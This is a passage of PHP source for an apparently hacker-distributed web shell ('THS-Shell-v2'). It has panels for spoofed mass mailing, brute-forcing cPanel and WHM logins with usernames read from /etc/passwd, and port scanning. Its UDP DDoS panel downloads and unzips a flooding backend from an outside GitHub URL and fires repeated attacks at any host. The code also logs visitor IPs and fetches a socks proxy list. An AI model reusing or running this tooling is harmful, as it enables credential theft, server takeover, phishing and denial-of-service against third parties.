  curl_setopt($ch, CURLOPT_HEADER, 0);
  $data = curl_exec($ch);
  curl_close($ch);
  return $data;
}
 
if (isset($_POST[\'clickHere\'])) {
	echo openURL(\'https://cdn-31.anonfile.com/2170jfs3b8/fd83dac0-1587665252/x20365%20HQ%20Socks%20Proxies.txt\');
}
?>
	<?php
	} 
	?>
      <?php
      if(isset($_GET[\'mass_gen_emails\'])) {
      ?>
      <center><br><br><font color="green" size="6" face="cursive">Get Mass Emails from config files</font><br><br>
      	<br>
      		<form method="post">
      			<input type="submit" name="get_emails" value="Get Emails"/>
      			</form>
      	<?php
      	if(isset($_POST[\'get_emails\'])) {
      	?>
      		<?php
mkdir("Config", 0777);
$file = fopen("Config/email_lists.txt", "w") or die("Unable to get the directory");
$txt = \'[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]\';
fwrite($file, $txt);
fclose($file);
$filename = "Config/email_lists.txt";
if(file_exists($filename)) {
 echo \'<a href="Config/email_lists.txt" target="_blank">Click here to see emails!! </a><br><br>\';
} 
else {
 echo "Could not find email list in config file";
 } 
}
?>
	<?php
	} 
	?>
                 <?php
	if(isset($_GET[\'fake_mail\'])) {
	?>
		<center><br><br><font color="green" size="6" face="cursive">Mailer by TermuxHackz Society Team</font><br><br>
	<?php
error_reporting(0);
ini_set(\'display_errors\', 0);
error_reporting(E_ALL ^ E_NOTICE);
function doset() {
	if( !ini_get(\'safe_mode\') )
	{
        set_time_limit(0);
		ini_set("max_execution_time", 0);
        ini_set("memory_limit", "256M");
        ignore_user_abort(true);
	}
	else echo "this is a safe_mode one and will timeout.. cannot set_time_limit";
	ob_start();
}
doset();


if ($_POST[\'action\']=="send"){

        $message = urlencode($_POST[\'message\']);

        $message = ereg_replace("%5C%22", "%22", $message);

        $message = urldecode($message);
        $message = stripslashes($message);
        $subject = stripslashes($_POST[\'subject\']);

}
?>

<form name="form1" method="post" action="<?php echo $_SERVER[\'PHP_SELF\'];?>" enctype="multipart/form-data">

  <br>

  <table width="100%" border="0">

    <tr> 

      <td width="10%"> 

        <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Your 

          Email:</font></div>

      </td>

      <td width="18%"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 

        <input type="text" name="from" value="<? print $_POST[\'from\']; ?>" size="30">

        </font></td>

      <td width="31%"> 

        <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Your 

          Name:</font></div>

      </td>

      <td width="41%"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 

        <input type="text" name="realname" value="<? print $_POST[\'realname\']; ?>" size="30">

        </font></td>

    </tr>

    <tr> 

      <td width="10%"> 

        <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>

      </td>

      <td width="18%"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 

        <input type="text" name="replyto" value="<? print $_POST[\'replyto\']; ?>" size="30">

        </font></td>

      <td width="31%"> 

        <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Attach 

          File:</font></div>

      </td>

      <td width="41%"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 

        <input type="file" name="file" size="30">

        </font></td>

    </tr>

    <tr> 

      <td width="10%"> 

        <div align="right"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>

      </td>

      <td colspan="3"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 

        <input type="text" name="subject" value="<? print stripslashes($_POST[\'subject\']); ?>" size="90">

        </font></td>

    </tr>

    <tr valign="top"> 

      <td colspan="3"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 

        <textarea name="message" cols="60" rows="10"><? print stripslashes($_POST[\'message\']); ?></textarea>

        <br>

        <input type="radio" name="contenttype" value="plain">

        Plain 

        <input type="radio" name="contenttype" value="html" checked>

        HTML 

        <input type="hidden" name="action" value="send">

        <input type="submit" value="Send Message">

        </font></td>

      <td width="41%"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif"> 

        <textarea name="emaillist" cols="30" rows="10"></textarea>

        <br>
        <input type="text" name="emailfinal" value="<? print $_POST[\'emailfinal\']; ?>" size="22"> (EMAIL VERIFICATION)
        </font></td>
    </tr>
  </table>
  <p>For each <input type="text" name="emailz" value="<? print $_POST[\'emailz\']; ?>" size="3"> mailz, wait <input type="text" name="wait" value="<? print $_POST[\'wait\']; ?>" size="3"> second<br></p>
</form>



<?

if ($_POST[\'action\']=="send"){
        $message = urlencode($_POST[\'message\']);

        $message = ereg_replace("%5C%22", "%22", $message);

        $message = urldecode($message);
        $message = stripslashes($message);
        $subject = stripslashes($_POST[\'subject\']);


        $from=$_POST[\'from\'];
        $realname=$_POST[\'realname\'];
        $replyto=$_POST[\'replyto\'];


        $emaillist=$_POST[\'emaillist\'];
       
        $contenttype=$_POST[\'contenttype\'];


        $allemails = split("
", $emaillist);

        $numemails = count($allemails);
		
		


        #Open the file attachment if any, and base64_encode it for email transport
		$file_name = $_FILES[\'file\'][\'name\'];
		$file = $_FILES[\'file\'];
        if ($file_name){

                @copy($file, "./$file_name") or die("The file you are trying to upload couldn\'t be copied to the server");

                $content = fread(fopen($file,"r"),filesize($file));

                $content = chunk_split(base64_encode($content));

                $uid = strtoupper(md5(uniqid(time())));

                $name = basename($file);

        }

        

        for($x=0; $x<$numemails; $x++){

                if($_POST[\'emailz\'] && $_POST[\'wait\'])
                        if( fmod($x,$emailz) == 0 ) {
                                echo "-------------------------------> Already at the email $x, except $wait second.<br>";
                                sleep($wait);
                        }
                $to = $allemails[$x];

                if ($to){

					$to = ereg_replace(" ", "", $to);
					$to = trim($to);
	
					$message = ereg_replace("&email&", $to, $message);
	
					$subject = ereg_replace("&email&", $to, $subject);
	
					print "Sending mail to $to.......";
	
					flush();
					ob_flush();
	
					$header = "From: $realname <$from>
Reply-To: $replyto
";
	
					$header .= "MIME-Version: 1.0
";
	
					if ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid
";
	
					if ($file_name) $header .= "--$uid
";
	
					$header .= "Content-Type: text/$contenttype
";
	
					$header .= "Content-Transfer-Encoding: 8bit

";
	
					$header .= "$message
";
	
					if ($file_name) $header .= "--$uid
";
	
					if ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"
";
	
					if ($file_name) $header .= "Content-Transfer-Encoding: base64
";
	
					if ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"

";
	
					if ($file_name) $header .= "$content
";
	
					if ($file_name) $header .= "--$uid--";
	
					@mail($to, $subject, "", $header);
	
					print " S-o shower<br>";
	
					flush();
					ob_flush();

                }

		}//end for
		
		if( strpos($_POST[\'emailfinal\'], "@") !== false){
			@mail($_POST[\'emailfinal\'], $_SERVER[\'HTTP_HOST\'].$_SERVER[\'REQUEST_URI\'], "test");
		}
                //$emaillist .= "
". $_POST[\'emailfinal\'];



}

echo "</center>";
?>
	<?php
	} 
	?>      					
                        <?php
                        if(isset($_GET[\'cpanel\']))
                        {
                        ?>
                        <center><br><font color="red" face="cursive" size="5">Auto User/pass Cpanel Cracker</font><br>
                        <form method=post>

                        <label>Select to brute=></label><select name="op"> <option name="op" value="cp">CPanel</option>
                        <option name="op" value="whm">WHMPanel</option>



                        <textarea style="background:black;color:white" rows=20 cols=25 name=usernames ><?php $users=file("/etc/passwd");
                        foreach($users as $user)
                        {
                        $str=explode(":",$user);
                        echo $str[0]."
";
                        }

                        ?></textarea><textarea style="background:black;color:white" rows=20 cols=25 name=passwords >
                        <?php

                        $d=getcwd()."/r.txt";
                        $pf=file($d);
                        foreach($pf as $rt)
                        {
                        $str=explode(\'
\',$rt);
                        echo trim($str[0])."
";
                        } ?></textarea><p>
                        <input type=submit name=cpanelcracking class=button-3 value="START ATTACK :)"></form>
                        </p>

                        <?php
                        }
                        ?>
                        <br>
                        <?php
                        error_reporting(0);
                        $connect_timeout=5;
                        set_time_limit(0);

                        $userl=$_POST[\'usernames\'];
                        $passl=$_POST[\'passwords\'];
                        $attack=$_POST[\'op\'];
                        $target = "localhost";

                        if(isset($_POST[\'cpanelcracking\']))
                        {
                        if($userl!=="" && $passl!=="")
                        {
                        if($_POST["op"]=="cp")
                        {
                        $cracked=$_POST[\'crack\'];
                        @fopen($cracked,\'a\');
                        echo "<p>......now we are attacking cpanels....please wait till the end of process 
 </p>";
                        echo "";


                        }
                        elseif($_POST["op"]=="whm")
                        {
                        @fopen($cracked,\'a\');
                        echo "<p>...now we are attacking WHM panel....please wait till the end of process</p>";
                        echo "";

                        }

                        function cpanel($host,$user,$pass,$timeout){
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
                        curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
                        curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
                        curl_setopt($ch, CURLOPT_FAILONERROR, 1);
                        $data = curl_exec($ch);
                        if ( curl_errno($ch) == 0 ){
                        echo "<table width=100% ><tr><td align=center><b><font color=white size=2>==================================</font><font color=red size=2> $user </font><font color=white size=2>Cracked with </font><font color=red size=2> $pass </font> <font color=white size=2>==================================</font></b></td></tr></table>";


                        }

                        curl_close($ch);}

                        $userlist=explode("
",$userl);
                        $passlist=explode("
",$passl);

                        if ($attack == "cp")
                        {
                        foreach ($userlist as $user) {
                        echo "<div align=center><table width=80% ><tr><td align=center><b><font color=red size=2>Attacking user $user </font></td></tr></table>";
                        $finaluser = trim($user);
                        foreach ($passlist as $password ) {
                        $finalpass = trim($password);


                        cpanel($target,$finaluser,$finalpass,$connect_timeout);

                        }
                        }

                        }

                        function whm($host,$user,$pass,$timeout){
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, "http://$host:2086");
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
                        curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
                        curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
                        curl_setopt($ch, CURLOPT_FAILONERROR, 1);
                        $data = curl_exec($ch);
                        if ( curl_errno($ch) == 0 ){
                        echo "<table width=100% ><tr><td align=center><b><font color=white size=2>==================================</font><font color=red size=2> $user </font><font color=white size=2>Cracked with </font><font color=red size=2> $pass </font> <font color=white size=2>==================================</font></b></td></tr></table>";

                        }

                        curl_close($ch);}
                        $userlist=explode("
",$userl);
                        $passlist=explode("
",$passl);

                        if ($attack == "whm")
                        {
                        foreach ($userlist as $user) {
                        echo "<table width=80% ><tr><td align=center><b><font color=white size=2>user under attack is $user </font></td></tr></table>";
                        $finaluser = trim($user);
                        foreach ($passlist as $password ) {
                        $finalpass = trim($password);

                        whm($target,$finaluser,$finalpass,$connect_timeout);
                        }
                        }
                        }
                        }
                        elseif($userl=="")
                        {
                        echo "<p>lol, you have left userlist field empty</p>";

                        }
                        elseif($passl=="")
                        {

                        echo "<p>please put passwords in paasword list field</p>";
                        }

                        }
                        ?>
                        <?php
                        echo \'</center>\'
                        ?>
                        <?php
                        if(isset($_GET[\'port_scanner\'])) {
                          ?>
                          <center><br><font color="lightgreen" size="5" face="cursive">Port Scanner</font><br><br>
                            <form method="post">
                              <label>Domain/IP: </label>
                                  <input type="text" name="domain" placeholder="Domain/IP..."/>
                                  <input type="submit" value="Scan" />
                              </form>
                              <br />

                              <?php
                              if(!empty($_POST[\'domain\'])) {
                                  //list of port numbers to scan
                                  $ports = array(20, 21, 23, 22, 25, 50, 51, 53, 57, 67, 68, 69, 80, 81, 110, 123, 135, 139, 143, 145, 161, 162, 389, 989, 990, 443, 587, 1433, 8080, 8081, 2525, 3338, 3306, 159, 65535);

                                  $results = array();
                                  foreach($ports as $port) {
                                      if($pf = @fsockopen($_POST[\'domain\'], $port, $err, $err_string, 1)) {
                                          $results[$port] = true;
                                          fclose($pf);
                                      } else {
                                          $results[$port] = false;
                                      }
                                  }

                                  foreach($results as $port=>$val) {
                                      $prot = getservbyport($port,"tcp");
                                              echo "<span id=\"port\">Port $port ($prot): </span>";
                                      if($val) {
                                          echo "<span style=\"color:lightgreen\">Open</span><br/>";
                                      }
                                      else {
                                          echo "<span style=\"color:red\">Inaccessible</span><br/>";
                                      }
                                  }
                              }
                              ?>
                          <?php
                        } ?>
                        <?php
                        if(isset($_GET[\'generate_md5hash\'])) {

                        ?>
                        <center><br><br><font color="lightgreen" size="5" face="cursive">Generate MD5 Hash</font><br><br>
                          <form method="post">

                          <input name="md5-text" type="text" size="" placeholder="Enter String...">
                          <input type="submit" name="md5_string" value="Generate MD5 Hash"><br>
                          <br>
                          </form>
                          <?php
                        if(isset($_POST[\'md5_string\'])) {
                          $md5ed = $_POST[\'md5-text\'];
                          $md5_content = md5($md5ed);
                          if (!$md5ed) {
                            echo \'<textarea rows="10" cols="50">\';
                            echo "<p>MD5 wasnt generated!!</p>";
                            echo \'</textarea>\';
                          }
                          else {
                            echo "<br>";
                            echo \'<textarea rows="10" cols="50">\';
                            echo ("$md5_content");
                            echo \'</textarea>\';
                          }
                        }

                          ?>
                        </center>
                      <?php
                    } ?>
                      <?php
                      if(isset($_GET[\'decoder\']))
                      {
                        ?>
                        <center><br><br><font color="yellow" face="cursive" size="5">Base64 Encoder</font><br><br>
                            <font color="white" face="cursive" size="">Enter text to encode: </font>
                            <form method="post">
                              <input type="text" name="base64_encode" size="" placeholder="Text to encode"/>
                              <input type="submit" name="submitbase64" value="Encode" />
                            </form>
                            <?php
                            if(isset($_POST[\'submitbase64\'])) {
                            	$text = $_POST[\'base64_encode\'];
                            	$content = base64_encode($text);
                            	if (!$content) {
                            		echo \'<br>\';
                            		echo \'Text wasnt encoded\';
                            	}
                            	else {
                                echo \'<textarea rows="10" cols="50">\';
                            		echo ("$content");

                                echo \'</textarea>\';
                            	}
                            	echo "<br>";

                            }
                            ?>
                          </center>
                            <center><br><br><font color="yellow" face="cursive" size="5">Base64 Decoder</font><br><br>
                              <font color="white" face="cursive" size="">Enter text to decode: </font>
                              <form method="post">
                                <input type="text" name="base64_decode" size="" placeholder="Text to decode"/>
                                <input type="submit" name="submitbase64decode" value="Decode" />
                              </form>
                              <?php
                              if(isset($_POST[\'submitbase64decode\'])) {
                              	$main_text = $_POST[\'base64_decode\'];
                              	$to_decode = base64_decode($main_text);
                              	if (!$to_decode) {
                              		echo "<br>";
                              		echo \'<p> Text wasnt decoded </p>\';
                              	}
                              	else {
                                  echo \'<textarea rows="10" cols="30">\';
                              		echo ("$to_decode");

                                  echo \'</textarea>\';
                              	}
                              }
                              ?>
                            </center>
                            <?php
                          } ?>

                        <?php
                        if(isset($_GET[\'UDP_DDOS\'])) {
                        ?>
                        <center><br><br>
                          <script>
                        		// microAjax - https://github.com/TheZ3ro/microajax/
                        		function microAjax(B,A){this.bindFunction=function(E,D){return function(){return E.apply(D,[D])}};this.stateChange=function(D){if(this.request.readyState==4){this.callbackFunction(this.request.responseText)}};this.getRequest=function(){if(window.ActiveXObject){return new ActiveXObject("Microsoft.XMLHTTP")}else{if(window.XMLHttpRequest){return new XMLHttpRequest()}}return false};this.postBody=(arguments[2]||"");this.callbackFunction=A;this.url=B;this.request=this.getRequest();if(this.request){var C=this.request;C.onreadystatechange=this.bindFunction(this.stateChange,this);if(this.postBody!==""){C.open("POST",B,true);C.setRequestHeader("X-Requested-With","XMLHttpRequest");C.setRequestHeader("Content-type","application/x-www-form-urlencoded");C.setRequestHeader("Connection","close")}else{C.open("GET",B,true)}C.send(this.postBody)}};
                        	</script>
                        	<form method="post">

                        	<input type="submit" name="instructions" value="Generate instructions first (Recommended)"/>
                        </form>
                        <?php
                        if(isset($_POST[\'instructions\'])) {
                        	$gen_text = fopen("instructions.txt", "w");
                        	$ini = \'First click the button to download UDP DDOS file, after you have downloaded the DDOS file, it will be in form of a zip file format, then use the unzipper to unzip the file from your downloads folder then you can proceed with the UDP DDOS\';
                        	fwrite($gen_text, $ini);
                        	fclose($gen_text);
                        	$the_link="<a href=instructions.txt target=_blank><font color=white size=2 face=\"comic sans ms\"><u><br>Open this link to read the instructions</u></font></a>";
                        	echo $the_link;
                          echo "<br><br>";

                        }
                        ?>
                        <br>
                        	<form method="post">
                        		<input type="submit" name="flood_ddos" value="Download UDP DDOS file (internet required)"/>
                        	</form>
                        	<?php
                        if(isset($_POST[\'flood_ddos\'])) {
                           echo \' <center>\';
echo \'<a href="https://github.com/TermuxHackz/Udp/raw/master/backend.zip" download>Download now! </a>\';
echo "<br>";
echo "<br/>";
echo \'</center>\';
} 
?>
                        	<br>
                        	<form method="post" action="" enctype="multipart/form-data">
                        	 <!-- Unzip selected zip file -->
                        	  <label>Unzip file</label>
                        	 <input type="file" name="file" required />

                        	  <input type="submit" name="unzip" value="Unzip" />
                        	 <br>
                        	</form>
                        <br/>
                        		<button id="loadLag" onClick="javascript:lagConfig();">Lag config</button>
                        		<button id="loadTraffic" onClick="javascript:trafficConfig();">Traffic config</button>
                        		<br>
                        		<br />
                        		<label>Host:</label><input id="host"><br/>
                        		<label>Port:</label><input type="number" id="port" max=65535 min=1 step=1 value=80><br/>
                        		<label>Packet:</label><input type="number" id="packet" min=1 step=1><br/>
                        		<label>Time:</label><input type="number" id="time" min=1 step=1 value=5><br/>
                        		<label>Bytes:</label><input type="number" id="bytes" max=65000 min=1 step=1 value=65000><br/>
                        		<label>Interval:</label><input type="number" id="interval" max=10000 min=1 step=1 value=10><br/>
                        		<label>Pass:</label><input id="pass"><br/>
                        		<pre>Pass: <code>THS-Shell-v2</code></pre>
                        		<button id="send" onClick="javascript:fire();">Fire!</button>
                        		<br/><br/>
                        		<label class="label">Constant attack with smart delays</label>
                        		<button id="sendWithInterval" onClick="javascript:constantAttack(true);">Start</button>
                        		<button id="stopInterval" disabled="true" onClick="javascript:constantAttack(false);">Stop</button>
                        		<br/><br/>
                        		<textarea id="log" rows="10" cols="40"></textarea>

                          <?php
                        }
                        ?>
<?php
                        if(isset($_POST[\'unzip\'])) {
                        	define(\'_PATH\', dirname(__FILE__));

                        	// Unzip selected zip file
                        	 $filename = $_FILES[\'file\'][\'name\'];

                        	 // Get file extension
                        	 $ext = pathinfo($filename, PATHINFO_EXTENSION);

                        	 $valid_ext = array(\'zip\');

                        	 // Check extension
                        	 if(in_array(strtolower($ext),$valid_ext)){
                        	  $tmp_name = $_FILES[\'file\'][\'tmp_name\'];

                        	  $zip = new ZipArchive;
                        	  $res = $zip->open($tmp_name);
                        	  if ($res === TRUE) {

                        	   // Unzip path
                        	   $path = _PATH."/THS-DDOS/";

                        	   // Extract file
                        	   $zip->extractTo($path);
                        	   $zip->close();

                        	   echo \'<script>alert("File has been Successfully Unzipped!, you can now continue with the UDP DDOS all requirements has been satisfied!! ")</script>\';
                        	  } else {
                        	   echo \'<script>alert("failed! To unzip!!")</script>\';
                        	  }
                        	 }else{
                        	  echo \'<script>alert("Invalid file type only zip files allowed")</script>\';
                        	 }

                        	}
                        $ip = getUserIP();
                        $browser = $_SERVER[\'HTTP_USER_AGENT\'];
                        $dateTime = date(\'Y/m/d G:i:s\');
                        $file = "ips.html";
                        $file = fopen($file, "a");
                        $data = "<pre><b>User IP</b>: $ip <b> Browser</b>: $browser <br>on Time : $dateTime <br></pre>";
                        fwrite($file, $data);
                        fclose($file);


                        function getUserIP()
                        {
                            $client  = @$_SERVER[\'HTTP_CLIENT_IP\'];
                            $forward = @$_SERVER[\'HTTP_X_FORWARDED_FOR\'];
                            $remote  = $_SERVER[\'REMOTE_ADDR\'];

                            if(filter_var($client, FILTER_VALIDATE_IP))
                            {
                                $ip = $client;
                            }
                            elseif(filter_var($forward, FILTER_VALIDATE_IP))
                            {
                                $ip = $forward;
                            }
                            else
                            {
                                $ip = $remote;
                            }

                            return $ip;
                        }
                        ?>
                        	 <script>
                        	 	var _log=document.getElementById("log");
                        	 	var intervalHandler = null;
                        	 	function fire(){
                        	 		var host=document.getElementById("host").value;
                        	 		var port=document.getElementById("port").value;
                        	 		var packet=document.getElementById("packet").value;
                        	 		var time=document.getElementById("time").value;
                        	 		var pass=document.getElementById("pass").value;
                        	 		var bytes=document.getElementById("bytes").value;
                        	 		var interval=document.getElementById("interval").value;


                        	 		if(host!="" && pass!=""){
                        	 			inputLock(true);
                        	 			var url=\'./THS-DDOS/backend.php?pass=\'+pass+\'&host=\'+host+(port!=""? \'&port=\'+port:\'\')+(time!=""? \'&time=\'+time:\'\')+(packet!=""? \'&packet=\'+packet:\'\')+(bytes!=""? \'&bytes=\'+bytes:\'\')+(interval!=""? \'&interval=\'+interval:\'\');
                        	 			console.log(url);
                        	 			microAjax(url, function(result) {
                        	 			_log.value=result;
                        	 			if(_log.value.includes("Wrong password")){
                        	 				constantAttack(false);
                        	 			}
                        	 			if(intervalHandler == null){
                        	 				inputLock(false);
                        	 			}
                        	 			});
                        	 		}
                        	 		else{
                        	 			_log.value = "Not all required parameters are filled correctly!"
                        	 		}
                        	 	}

                        	 	function lagConfig(){
                        	 		packet=document.getElementById("packet").value = "";
                        	 		time=document.getElementById("time").value = "10";
                        	 		bytes=document.getElementById("bytes").value = "1";
                        	 		interval=document.getElementById("interval").value = "0";
                        	 	}

                        	 	function trafficConfig(){
                        	 		packet=document.getElementById("packet").value = "";
                        	 		time=document.getElementById("time").value = "5";
                        	 		bytes=document.getElementById("bytes").value = "65000";
                        	 		interval=document.getElementById("interval").value = "10";
                        	 	}

                        	 	function constantAttack(status){
                        	 		var host=document.getElementById("host").value;
                        	 		var host=document.getElementById("pass").value;
                        	 		var intervalTime=(document.getElementById("time").value * 1000) + 1000;
                        	 		if(host!="" && pass!=""){
                        	 			if(status == true){
                        	 				fire();
                        	 				inputLock(true);
                        	 				intervalHandler = setInterval(fire,intervalTime);
                        	 			}
                        	 			else if(status == false){
                        	 				clearInterval(intervalHandler);
                        	 				inputLock(false);
                        	 				intervalHandler = null;
                        	 			}
                        	 		}
                        	 		else{
                        	 			_log.value = "Not all required parameters are filled correctly!"
                        	 		}
                        	 	}

